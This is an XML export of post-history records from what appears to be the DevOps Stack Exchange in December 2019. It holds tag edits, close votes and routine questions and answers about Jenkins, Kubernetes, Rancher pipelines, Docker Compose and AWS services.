  <row Id="31376" PostHistoryTypeId="6" PostId="8364" RevisionGUID="db8587ed-ac10-4ec2-9676-4bdae1d55408" CreationDate="2019-12-25T10:55:48.250" UserId="210" Comment="edited tags" Text="&lt;terraform&gt;&lt;amazon-rds&gt;&lt;flyway&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31377" PostHistoryTypeId="6" PostId="761" RevisionGUID="29777b68-31d4-41e0-b34d-e66d2e79c107" CreationDate="2019-12-25T10:56:09.813" UserId="210" Comment="edited tags" Text="&lt;deployment&gt;&lt;continuous-delivery&gt;&lt;databases&gt;&lt;environments&gt;&lt;flyway&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31378" PostHistoryTypeId="2" PostId="10304" RevisionGUID="d17322d7-9e6d-4b7c-bcfe-399becd91549" CreationDate="2019-12-25T10:56:43.963" UserId="210" Text="Website:: https://flywaydb.org" ContentLicense="CC BY-SA 4.0" />
  <row Id="31379" PostHistoryTypeId="1" PostId="10304" RevisionGUID="d17322d7-9e6d-4b7c-bcfe-399becd91549" CreationDate="2019-12-25T10:56:43.963" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31380" PostHistoryTypeId="2" PostId="10305" RevisionGUID="9f3b531b-912c-4396-ad92-c557e22dd0f1" CreationDate="2019-12-25T10:56:43.963" UserId="210" Text="Use this tag if a question is about flyway" ContentLicense="CC BY-SA 4.0" />
  <row Id="31381" PostHistoryTypeId="1" PostId="10305" RevisionGUID="9f3b531b-912c-4396-ad92-c557e22dd0f1" CreationDate="2019-12-25T10:56:43.963" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31387" PostHistoryTypeId="5" PostId="8408" RevisionGUID="65ffc497-67b7-4d6b-940d-e277acd8018b" CreationDate="2019-12-25T11:20:26.127" UserId="210" Comment="deleted 20 characters in body" Text="I have a project with 3 submodules that are updated whenever that project is built and the project is built mainly for an installer (which is not in a submodule). Not a lot of changes are made in the installer itself but the commit messages from there are coming through fine.&#xD;&#xA;&#xD;&#xA;I'd like to also see the commit messages (changes made) from the submodules to the Jenkins log. Is this possible? If not possible there, would it be possible in the email-blast instead? In the mailer plugin, I have it configured as:&#xD;&#xA;&#xD;&#xA;    ${CHANGES, showPaths=true, format=&quot;Commit: %r by %a \n %p \n\t Comment: %m \n&quot;, pathFormat=&quot;\n\t %p&quot;}&#xD;&#xA;&#xD;&#xA;Also, I kinda inherited Jenkins from an employee that no longer works where I work so I'm very new to this." ContentLicense="CC BY-SA 4.0" />
  <row Id="31388" PostHistoryTypeId="2" PostId="10307" RevisionGUID="7f66d5ed-a9f2-4ffb-acc3-83837671c766" CreationDate="2019-12-25T11:40:39.260" UserId="210" Text="After consulting [this cheatsheet][1], I think that you are looking for the subject. If I apply:&#xD;&#xA;&#xD;&#xA;    git log --pretty=&quot;%s&quot;&#xD;&#xA;&#xD;&#xA;to one of my git repositories, the following is returned:&#xD;&#xA;&#xD;&#xA;    learning pointers in golang&#xD;&#xA;    receiver struct in golang&#xD;&#xA;    embedded structs in golang&#xD;&#xA;    multiple spanish words&#xD;&#xA;&#xD;&#xA;In conclusion, I think you should include `%s` to get the git messages or basically the `commit subjects`.&#xD;&#xA;&#xD;&#xA;  [1]: https://devhints.io/git-log-format" ContentLicense="CC BY-SA 4.0" />
  <row Id="31389" PostHistoryTypeId="6" PostId="8408" RevisionGUID="0128bd23-3fb4-4934-9693-495f674bf159" CreationDate="2019-12-25T11:42:25.490" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;git&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31390" PostHistoryTypeId="5" PostId="6478" RevisionGUID="9ff3866e-f052-4fc5-8912-7842de00e867" CreationDate="2019-12-25T11:43:54.710" UserId="210" Comment="deleted 24 characters in body" Text="I would like to know how could I set up a load balancer at the Kubernetes level so my services point to the pods that have more RAM/CPU resources available, and not randomly.&#xD;&#xA;&#xD;&#xA;It would be co-existing with a Horizontal Pod Autoscaler.&#xD;&#xA;&#xD;&#xA;As of today, I have an ingress pointing to my `NodePort` service.&#xD;&#xA;&#xD;&#xA;It would be better if it could work locally with Minikube without needing to be on a cloud provider.&#xD;&#xA;&#xD;&#xA;If not, I'm using OVH as my Kubernetes cloud provider." ContentLicense="CC BY-SA 4.0" />
  <row Id="31391" PostHistoryTypeId="10" PostId="6478" RevisionGUID="d3caa322-b9e0-4e07-9c50-80daa3bde783" CreationDate="2019-12-25T11:44:06.600" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31392" PostHistoryTypeId="5" PostId="6261" RevisionGUID="e5a882cb-c866-488c-90cb-7e7cebe65f62" CreationDate="2019-12-25T11:44:42.067" UserId="210" Comment="deleted 20 characters in body" Text="Recently we've requested for 2 dedicated IPs for our SES domain, As most of the mails are going to spam folder. And we've 5-6 SES domains(account.abc.com, help.abc.com, mail.abc.com, etc) in the same aws account, But we would like to use these dedicated Ips only for specific domain(mail.abc.com). Is there any way to set/configure dedicated ips only for specific domain to avoid bad ip reputation?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31393" PostHistoryTypeId="10" PostId="6261" RevisionGUID="d9b00352-82e7-45d1-8bfb-84f3a8209e5e" CreationDate="2019-12-25T11:45:06.757" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31394" PostHistoryTypeId="10" PostId="6529" RevisionGUID="9a144f23-76a0-4a19-9896-afec1fde1332" CreationDate="2019-12-25T11:45:29.073" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31395" PostHistoryTypeId="6" PostId="6529" RevisionGUID="0f47764c-8473-4e0d-bc2e-bc625ac39627" CreationDate="2019-12-25T11:45:46.107" UserId="210" Comment="edited tags" Text="&lt;amazon-ec2&gt;&lt;amazon-ecs&gt;&lt;fargate&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31396" PostHistoryTypeId="6" PostId="8566" RevisionGUID="02f13a9e-e970-46cd-87ad-63cc53219baf" CreationDate="2019-12-25T11:46:10.780" UserId="210" Comment="edited tags" Text="&lt;amazon-web-services&gt;&lt;logstash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31397" PostHistoryTypeId="10" PostId="8566" RevisionGUID="e0cc760c-dbbc-40a1-96bf-1cf06b5c1590" CreationDate="2019-12-25T11:46:15.820" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31398" PostHistoryTypeId="5" PostId="8593" RevisionGUID="e4880b82-008e-4d2f-a7bd-8da7734795ff" CreationDate="2019-12-25T11:49:13.233" UserId="210" Comment="deleted 11 characters in body" Text="**Hi** , I want to know How Build Retention Policy Work Internally.&#xD;&#xA;&#xD;&#xA;1. I have a shared location where outputs of all Builds copied.Build retention Policy deletes those outputs/artifacts according to mentioned policy which is understood.&#xD;&#xA;2. Does this delete everything (ALL Folder levels) in shared folder:&#xD;&#xA;\\SharedLocationMachineName\TFSBuilds\ProjectName\$(Build.BuildNumber)\Deployment\binaries\installer\setup&#xD;&#xA;&#xD;&#xA;or it only works what is inside at single folder level:&#xD;&#xA;\\SharedLocationMachineName\TFSBuilds\ProjectName\$(Build.BuildNumber)&#xD;&#xA;&#xD;&#xA;**Second Question:** What is difference between Copy Files and &quot;Publish Build Artifacts&quot; tasks. Which one should be used in which scenario?&#xD;&#xA;&#xD;&#xA;Does these tasks effect Deletion in Build Retention Policy?&#xD;&#xA;&#xD;&#xA;What are best practices to use these tasks: How many levels of folders can be defined after Main Publishing Variable Folder?&#xD;&#xA;&#xD;&#xA;Objective: We have a central location where different teams are sharing or publishing their build artifacts. In some folders , Build deletion is not working according to Build Retention Policy. I can see our developers used lot of COPY FILES tasks in Build definitions which has long paths: I want to know into the things. May be the best way to improve Build definitions." ContentLicense="CC BY-SA 4.0" />
  <row Id="31399" PostHistoryTypeId="2" PostId="10308" RevisionGUID="eb9e67b9-49af-4ffd-802f-e59aa7c51ab6" CreationDate="2019-12-25T11:49:14.163" UserId="10" Text="Ideally, a team should be able to run all the pipelines on every commit and automatically deploy to production.&#xD;&#xA;&#xD;&#xA;However, I don't understand how code changes get merged, or how to reduce waste in running tests over and over again as there is a new change.&#xD;&#xA;&#xD;&#xA;If a build or test takes 20 minutes to go through the pipeline, the system gets &quot;clogged&quot;.&#xD;&#xA;&#xD;&#xA;What mechanism is used to solve this problem? Do tests/jobs get canceled as new code gets pushed? If so, then how do you deploy multiple times a day?  Add to this the need for Pull requests or sign off.  What intermediate steps can be taken until it's possible to automate everything?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31400" PostHistoryTypeId="1" PostId="10308" RevisionGUID="eb9e67b9-49af-4ffd-802f-e59aa7c51ab6" CreationDate="2019-12-25T11:49:14.163" UserId="10" Text="How to prevent jobs/tests from getting in the way of moving forward?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31401" PostHistoryTypeId="3" PostId="10308" RevisionGUID="eb9e67b9-49af-4ffd-802f-e59aa7c51ab6" CreationDate="2019-12-25T11:49:14.163" UserId="10" Text="&lt;continuous-integration&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31402" PostHistoryTypeId="10" PostId="8593" RevisionGUID="94644729-619b-493e-b7c8-b2cb06b880f1" CreationDate="2019-12-25T11:49:31.393" UserId="210" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31406" PostHistoryTypeId="10" PostId="8792" RevisionGUID="2e0a9d5d-557c-442d-afee-bd80ed7a8045" CreationDate="2019-12-25T11:52:57.107" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31407" PostHistoryTypeId="6" PostId="8792" RevisionGUID="17913eef-ab11-4ffd-a374-8472e0ca772c" CreationDate="2019-12-25T11:53:08.253" UserId="210" Comment="edited tags" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;google-cloud-platform&gt;&lt;google-compute-engine&gt;&lt;flask&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31408" PostHistoryTypeId="10" PostId="8754" RevisionGUID="218f78b6-0d77-4e63-aa96-14ba2c795c51" CreationDate="2019-12-25T11:54:26.737" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31409" PostHistoryTypeId="6" PostId="8754" RevisionGUID="52318d7c-5357-4ca7-a7a1-9816f68b6c03" CreationDate="2019-12-25T11:54:54.963" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;gitlab&gt;&lt;helm&gt;&lt;storage&gt;&lt;volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31410" PostHistoryTypeId="5" PostId="8643" RevisionGUID="f703f54d-c00d-4f83-b6bf-c54455b1f450" CreationDate="2019-12-25T11:56:24.397" UserId="210" Comment="added 51 characters in body" Text="Is it possible to run Docker containers without being logged in as a user on Windows?  I have a few containers I am auto-deploying on a server, but I am currently stuck leaving a generic service account logged in so that the containers run and the docker daemon stays running.&#xD;&#xA;&#xD;&#xA;My current setup works, but I feel like there must be a better way to deploy/run than to always have an account logged in.&#xD;&#xA;&#xD;&#xA;**Setup**&#xD;&#xA;&#xD;&#xA;* Windows Server 2012 and 2016&#xD;&#xA;* No docker-desktop because of nested virtualization scenario requirement&#xD;&#xA;* Linux not an option due to business requirements" ContentLicense="CC BY-SA 4.0" />
  <row Id="31413" PostHistoryTypeId="6" PostId="8676" RevisionGUID="808e9a89-978e-41a4-af20-53af4d56379f" CreationDate="2019-12-25T12:02:32.803" UserId="210" Comment="edited tags" Text="&lt;azure-devops&gt;&lt;sql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31414" PostHistoryTypeId="10" PostId="8676" RevisionGUID="6d076772-ded4-4e98-8520-406e2f6784e2" CreationDate="2019-12-25T12:02:36.490" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31415" PostHistoryTypeId="5" PostId="8742" RevisionGUID="84b5b075-586b-4a50-b514-b31312f9417c" CreationDate="2019-12-25T12:03:07.647" UserId="210" Comment="deleted 31 characters in body" Text="Currently I am trying to move our existing build infrastructure to Rancher with its CICD pipelines.&#xD;&#xA;&#xD;&#xA;My main question is: Is it possible to pass environment variables from one stage to another?&#xD;&#xA;&#xD;&#xA;Our application is Java / Spring based (so there is a pom.xml containing information like version). I am trying to extract information like VERSION and CHANNEL (=snapshot or release), which are needed in the next step ('build and deploy image'), since we need to provide some environment variables to the 'docker build' command.&#xD;&#xA;&#xD;&#xA;I know that its possible to pass data via the working directory, which is shared by all containers. &#xD;&#xA;Unfortunately you only can pass environment variables to the 'docker build' command in the 'build and deploy image' stage via 'PLUGIN_BUILD_ARGS' variable (https://rancher.com/docs/rancher/v2.x/en/k8s-in-rancher/pipelines/#build-and-publish-images). Also I do not see that its possible to run a script in the 'build and deploy image' container to provide those environment variables.&#xD;&#xA;&#xD;&#xA;I also know that there is a list of environment variables provided by rancher (https://rancher.com/docs/rancher/v2.x/en/k8s-in-rancher/pipelines/#pipeline-variable-substitution-reference), but none of those variables helps me. &#xD;&#xA;Is it somehow possible to extend that list?&#xD;&#xA;&#xD;&#xA;I already tried to pass variables, but it did not work:&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;    - name: export&#xD;&#xA;      steps:&#xD;&#xA;      - runScriptConfig:&#xD;&#xA;          image: maven&#xD;&#xA;          shellScript: |-&#xD;&#xA;            export FOO=&quot;bar&quot;&#xD;&#xA;    - name: echo&#xD;&#xA;      steps:&#xD;&#xA;      - runScriptConfig:&#xD;&#xA;          image: maven&#xD;&#xA;          shellScript: |-&#xD;&#xA;            env&#xD;&#xA;            echo ${FOO}&#xD;&#xA;    timeout: 60&#xD;&#xA;    notification: {}" ContentLicense="CC BY-SA 4.0" />
  <row Id="31416" PostHistoryTypeId="10" PostId="8742" RevisionGUID="09d54242-2c61-468a-8cf3-f7129f117e3b" CreationDate="2019-12-25T12:03:25.370" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31417" PostHistoryTypeId="5" PostId="10203" RevisionGUID="59f1e108-37ea-4002-8bbd-6ea053387b1c" CreationDate="2019-12-25T12:10:07.727" UserId="47" Comment="deleted 1 character in body" Text="You may want to take a look at [the ShiningPanda Plugin][1]. &#xD;&#xA;&#xD;&#xA;It allows running a build step inside a particular python virtual environment, created automatically if it doesn't exist or reused if it already exists. The virtual environment is located outside the workspace, but it can be named and made to appear as a directory with that name inside the workspace.&#xD;&#xA;&#xD;&#xA;To address the dependencies you just have to insert a build step performing the desired `pip install -r requirements.txt` variant after pulling the workspace (which will probably bring in your `requirements.txt` file) but before any other build step that would need to use the virtual environment. &#xD;&#xA;&#xD;&#xA;The same virtual environment can be used in multiple steps of the same build (by name) and a build can have multiple virtual environments if needed. But AFAIK you can't reuse the same virtual environment in different builds, each build will have its own copy.&#xD;&#xA;&#xD;&#xA;The Plugin has a configuration to clear/wipe the environment at any build step using it, if/when needed. Obviously you wouldn't want this always enabled as it would void reusability.&#xD;&#xA;&#xD;&#xA;IMHO it works best with `requirements.txt` files with pinned package versions (like those produced by [pip-tools][2]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/ShiningPanda+Plugin&#xD;&#xA;  [2]: https://pypi.org/project/pip-tools/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31418" PostHistoryTypeId="6" PostId="1" RevisionGUID="6de64442-a08e-4b38-bc09-32b26ceda9ae" CreationDate="2019-12-25T12:13:50.917" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;software-recommendation&gt;&lt;hudson&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31419" PostHistoryTypeId="6" PostId="2" RevisionGUID="bf2117d4-9fad-4106-9881-2905464da302" CreationDate="2019-12-25T12:14:36.980" UserId="210" Comment="edited tags" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;&lt;storage&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31420" PostHistoryTypeId="6" PostId="3" RevisionGUID="8055d47e-5a0d-428d-ab62-da0a5b50af1a" CreationDate="2019-12-25T12:15:12.310" UserId="210" Comment="edited tags" Text="&lt;continuous-integration&gt;&lt;terminology&gt;&lt;automation&gt;&lt;culture&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31421" PostHistoryTypeId="11" PostId="4" RevisionGUID="f0025deb-06b7-4561-93f5-365b582d8de3" CreationDate="2019-12-25T12:18:22.850" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31422" PostHistoryTypeId="6" PostId="4" RevisionGUID="43aa2ddb-523e-4b4e-aea0-4796bf53e6bf" CreationDate="2019-12-25T12:20:08.553" UserId="210" Comment="edited tags" Text="&lt;culture&gt;&lt;transformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31423" PostHistoryTypeId="6" PostId="341" RevisionGUID="58012c6e-c8ee-4aa5-8fe5-cf455529587d" CreationDate="2019-12-25T12:20:15.213" UserId="210" Comment="edited tags" Text="&lt;culture&gt;&lt;feature-flags&gt;&lt;transformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31424" PostHistoryTypeId="10" PostId="9092" RevisionGUID="75a789b3-485b-4f28-9373-8e1364dde826" CreationDate="2019-12-25T12:29:05.607" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31427" PostHistoryTypeId="5" PostId="8808" RevisionGUID="59a6ed4c-5a7d-4264-b6be-0a9c234be631" CreationDate="2019-12-25T12:30:33.967" UserId="210" Comment="deleted 61 characters in body" Text="I'm trying to create a simple project template for WordPress sites, which includes a global nginx proxy and *n* WP sites, each with their own mySQL server. I'd like to be able to `git clone` this template, spin up Docker through a shell script and have it create a the linked services for each site, such that multiple sites can all run on the same machine and not conflict with each other.&#xD;&#xA;&#xD;&#xA;Here's what I have for the global proxy service:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: &quot;3&quot;&#xD;&#xA;services:&#xD;&#xA;  nginx-proxy:&#xD;&#xA;    image: jwilder/nginx-proxy&#xD;&#xA;    container_name: nginx-proxy&#xD;&#xA;    ports:&#xD;&#xA;      - &quot;80:80&quot;&#xD;&#xA;      - &quot;443:443&quot;&#xD;&#xA;    volumes:&#xD;&#xA;      - ./certs:/etc/nginx/certs:ro&#xD;&#xA;      - /var/run/docker.sock:/tmp/docker.sock:ro&#xD;&#xA;    restart: unless-stopped&#xD;&#xA;&#xD;&#xA;networks:&#xD;&#xA;  default:&#xD;&#xA;    external:&#xD;&#xA;      name: nginx-proxy&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And here's what I have for the site docker config:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: &quot;3&quot;&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  mysql:&#xD;&#xA;    image: mysql:5.7&#xD;&#xA;    volumes:&#xD;&#xA;      - wordpress_data:/var/lib/mysql&#xD;&#xA;    restart: always&#xD;&#xA;    environment:&#xD;&#xA;      MYSQL_DATABASE: ${PROJECT_NAME}&#xD;&#xA;      MYSQL_ROOT_PASSWORD: somewordpress&#xD;&#xA;    container_name: ${PROJECT_NAME}-mysql&#xD;&#xA;&#xD;&#xA;  wordpress:&#xD;&#xA;    depends_on:&#xD;&#xA;      - mysql&#xD;&#xA;    image: wordpress:latest&#xD;&#xA;    volumes:&#xD;&#xA;      - wordpress_data:/var/lib/mysql&#xD;&#xA;    restart: always&#xD;&#xA;    environment:&#xD;&#xA;      VIRTUAL_HOST: ${PROJECT_NAME}.local&#xD;&#xA;      WORDPRESS_DB_HOST: mysql&#xD;&#xA;      WORDPRESS_DB_NAME: ${PROJECT_NAME}&#xD;&#xA;      WORDPRESS_DB_PASSWORD: somewordpress&#xD;&#xA;      WORDPRESS_TABLE_PREFIX: ${PROJECT_NAME}_&#xD;&#xA;    container_name: ${PROJECT_NAME}-wordpress&#xD;&#xA;&#xD;&#xA;volumes:&#xD;&#xA;  wordpress_data:&#xD;&#xA;&#xD;&#xA;networks:&#xD;&#xA;  default:&#xD;&#xA;    external:&#xD;&#xA;      name: nginx-proxy&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In each project, I check for the existence of the global proxy service before attempting to create it (using a shell script).&#xD;&#xA;&#xD;&#xA;I can get each site to spin up fine, but it seems that the MySQL and WP services can only run one at a time.&#xD;&#xA;&#xD;&#xA;I've thought about trying to put them on their own subnet, with an nginx server routing incoming requests (from the global reverse proxy), but haven't gotten a working model." ContentLicense="CC BY-SA 4.0" />
  <row Id="31428" PostHistoryTypeId="10" PostId="8808" RevisionGUID="61cd97fa-e761-4b2e-a897-7a924cfab7a0" CreationDate="2019-12-25T12:31:36.160" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31429" PostHistoryTypeId="10" PostId="8813" RevisionGUID="8a4ced8b-202c-4b71-8dbc-192d82fb0b65" CreationDate="2019-12-25T12:32:49.180" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31430" PostHistoryTypeId="4" PostId="8813" RevisionGUID="ff2d7e59-407d-4bc9-97fa-0fad0d95c58d" CreationDate="2019-12-25T12:33:15.063" UserId="210" Comment="edited title" Text="How to rite output per builder into separate log files in Packer?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31431" PostHistoryTypeId="10" PostId="8832" RevisionGUID="80b4c907-77c6-41a3-b784-c1dca9fa455c" CreationDate="2019-12-25T12:34:02.303" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31432" PostHistoryTypeId="4" PostId="9887" RevisionGUID="2cebec10-08b0-471a-bb46-64ebcac459de" CreationDate="2019-12-25T12:34:54.680" UserId="210" Comment="edited title" Text="How to define dynamic parallel stages in a Jenkinsfile?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31433" PostHistoryTypeId="11" PostId="9887" RevisionGUID="5a2ad28a-90b2-4487-9459-938d61788a8b" CreationDate="2019-12-25T12:35:10.163" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31434" PostHistoryTypeId="33" PostId="9887" RevisionGUID="39e57f57-8859-45e0-be00-e7057d3178ec" CreationDate="2019-12-25T12:37:29.610" UserId="210" Comment="49" />
  <row Id="31435" PostHistoryTypeId="5" PostId="9887" RevisionGUID="2cebec10-08b0-471a-bb46-64ebcac459de" CreationDate="2019-12-25T12:34:54.680" UserId="210" Comment="edited title" Text="In declarative pipelines, Jenkins allows the definition of [parallel stages](https://jenkins.io/doc/book/pipeline/syntax/#parallel). It further allows [scripted pipeline general purpose scripts](https://jenkins.io/doc/book/pipeline/syntax/#script) to create and manipulate the artifacts of the declarative pipeline. For example, it can create `stages` dynamically.&#xD;&#xA;&#xD;&#xA;I would like to know how I can *dynamically* create *parallel executing stages*. Please note I am not talking about *steps* or actions, which are solved here:&#xD;&#xA;&#xD;&#xA;https://devops.stackexchange.com/questions/3073/how-to-properly-achieve-dynamic-parallel-action-with-a-declarative-pipeline&#xD;&#xA;&#xD;&#xA;Below is a simple Jenkinsfile that dynamically adds stages using groovy code. These stages are sequential. I would like a Jenkinsfile that adds stages dynamically as below, but uses the `parallel` construct at the `stage` level. As a result, three stages that run parallel should be generated by the program.&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;pipeline {&#xD;&#xA;	agent any&#xD;&#xA;	stages {&#xD;&#xA;		stage('Add regression tests') {&#xD;&#xA;			steps {&#xD;&#xA;				addStage('offline','open-source','webgoat')&#xD;&#xA;				addStage('offline','open-source','juice-shop')&#xD;&#xA;				addStage('online','internal','our-website')&#xD;&#xA;			}&#xD;&#xA;		}&#xD;&#xA;	}&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;final void addStage(final String type, final String suite,final String application) {&#xD;&#xA;	script {&#xD;&#xA;		stage(&quot;Run ${type} application  '\n${application}' in test suite '${suite}'&quot;) {&#xD;&#xA;&#xD;&#xA;			runTestOnApplication(type,suite,application)&#xD;&#xA;&#xD;&#xA;		}&#xD;&#xA;	}&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;final void runTestOnApplication(final String type, final String suite,final String application) {&#xD;&#xA;	labelledShell label: &quot;Run test shell script for ${type} application '${application}' in test suite '${suite}'&quot;, script: 'test.bash'&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="31437" PostHistoryTypeId="4" PostId="9008" RevisionGUID="b7bbdce0-927b-4234-97cb-fe2b649b2188" CreationDate="2019-12-25T12:47:04.060" UserId="210" Comment="edited title" Text="How to find the costs of an already removed resource on Azure?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31438" PostHistoryTypeId="10" PostId="9008" RevisionGUID="9cb4d325-ca8e-402d-b48f-6333fd96a491" CreationDate="2019-12-25T12:49:19.850" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31439" PostHistoryTypeId="2" PostId="10309" RevisionGUID="288cd38b-a456-491a-b8b8-bf67f4601799" CreationDate="2019-12-25T13:06:57.193" UserId="18637" Text="to solve, after make all setup to Rundeck know and access de node you need go to Project Setting &gt; Edit Configuration &gt; Default Node Executor and change to SSH. The problem occured because my project was created like LOCAL default node executor. " ContentLicense="CC BY-SA 4.0" />
  <row Id="31440" PostHistoryTypeId="2" PostId="10310" RevisionGUID="581e93fc-4a44-442c-bb5b-a525332c86d9" CreationDate="2019-12-25T13:23:04.487" UserId="18637" Text="I don't have much experience with Symantec (I don't really like the product).&#xD;&#xA;But searching on Google apparently has some steps to set up, as they don't natively support Kuberentes as an application.&#xD;&#xA;&#xD;&#xA;Look if these two articles can help you.&#xD;&#xA;&#xD;&#xA;[https://support.symantec.com/us/en/article.tech246815.html][1]&#xD;&#xA;&#xD;&#xA;[https://www.symantec.com/content/dam/symantec/docs/solution-briefs/securing-containers-think-your-containers-are-secure-en.pdf][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://support.symantec.com/us/en/article.tech246815.html&#xD;&#xA;  [2]: https://www.symantec.com/content/dam/symantec/docs/solution-briefs/securing-containers-think-your-containers-are-secure-en.pdf" ContentLicense="CC BY-SA 4.0" />
  <row Id="31442" PostHistoryTypeId="11" PostId="8350" RevisionGUID="ec7bbc89-6cc7-4134-9732-19978f324b17" CreationDate="2019-12-25T14:45:54.083" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31443" PostHistoryTypeId="33" PostId="8350" RevisionGUID="24ed7e2c-51da-42c6-9307-eaed94c68cf4" CreationDate="2019-12-25T14:46:13.067" UserId="210" Comment="50" />
  <row Id="31444" PostHistoryTypeId="2" PostId="10311" RevisionGUID="316fc31b-53bc-4d4e-8887-70ce31a7d072" CreationDate="2019-12-25T15:43:19.803" UserId="3370" Text="The &quot;***&quot; is the masking of parameter store output in your log file. The value is available in the environment variable $MONGODB_URI and can be used to pass along to any command or script that needs this value. CodeBuild is merely doing a best-effort masking of log statement which may contain sensitive information.&#xD;&#xA;&#xD;&#xA;Also, if you must see the value printed out, you may assign $MONGODB_URI to another variable within your buildspec and print that out." ContentLicense="CC BY-SA 4.0" />
  <row Id="31445" PostHistoryTypeId="5" PostId="10308" RevisionGUID="e4e9825d-c17a-4232-9b3b-d8af4e060ffb" CreationDate="2019-12-25T16:42:34.713" UserId="10" Comment="Clarifies my question." Text="Ideally, a team should be able to run all the pipelines on every commit and automatically deploy to production.&#xD;&#xA;&#xD;&#xA;However, I don't understand how to most effeciently use our resources  so that hours are wasted running tests on code which is about to be overwritten by the next commit.&#xD;&#xA;&#xD;&#xA;If a build or test takes 20 minutes to go through the pipeline, the system gets &quot;clogged&quot;.&#xD;&#xA;&#xD;&#xA;What mechanism is used to solve this problem? Do tests/jobs get canceled as new code gets pushed? If so, then how do you deploy multiple times a day?  Add to this the need for Pull requests or sign off.  What intermediate steps can be taken until it's possible to automate everything?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31446" PostHistoryTypeId="4" PostId="10308" RevisionGUID="e4e9825d-c17a-4232-9b3b-d8af4e060ffb" CreationDate="2019-12-25T16:42:34.713" UserId="10" Comment="Clarifies my question." Text="How to avoid wasting time/resources in a CI/CD workflow?" ContentLicense="CC BY-SA 4.0" />
